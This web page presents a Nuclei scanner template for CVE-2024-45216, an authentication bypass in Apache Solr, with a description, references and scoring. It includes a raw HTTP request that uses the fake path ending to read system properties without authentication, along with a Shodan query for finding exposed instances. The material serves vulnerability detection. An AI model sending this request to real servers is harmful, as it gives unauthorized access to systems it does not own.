Apache Solr - Authentication Bypass

ID: CVE-2024-45216

Severity: critical

Author: gumgum

Tags: cve,cve2024,apache,solr,auth-bypass

Description

Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.

YAML Source

id: CVE-2024-45216

info:
  name: Apache Solr - Authentication Bypass
  author: gumgum
  severity: critical
  description: |
    Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
  impact: |
    Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.
  reference:
    - https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45216
    - https://solr.apache.org/security html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45216
    cwe-id: CWE-863,CWE-287
    epss-score: 0.00043
    epss-percentile: 0.09834
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Apache Solr"
  tags: cve,cve2024,apache,solr,auth-bypass

http:
  - raw:
      - |
        GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
        Host: {{Hostname}}
        SolrAuth: {{to_lower(rand_text_alpha(5))}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "responseHeader"
          - "system.properties"
          - "solr.script"
          - "solr.solr.home"
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008ef1ae783a4ac39c88a79bff84a02075511fbaeed581332f7c6a0b0d68662a03022100c0932d6061935e8473486c2a60023d00f088839b46f9296db61956434608d3ed:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-45216.yaml"

View on Github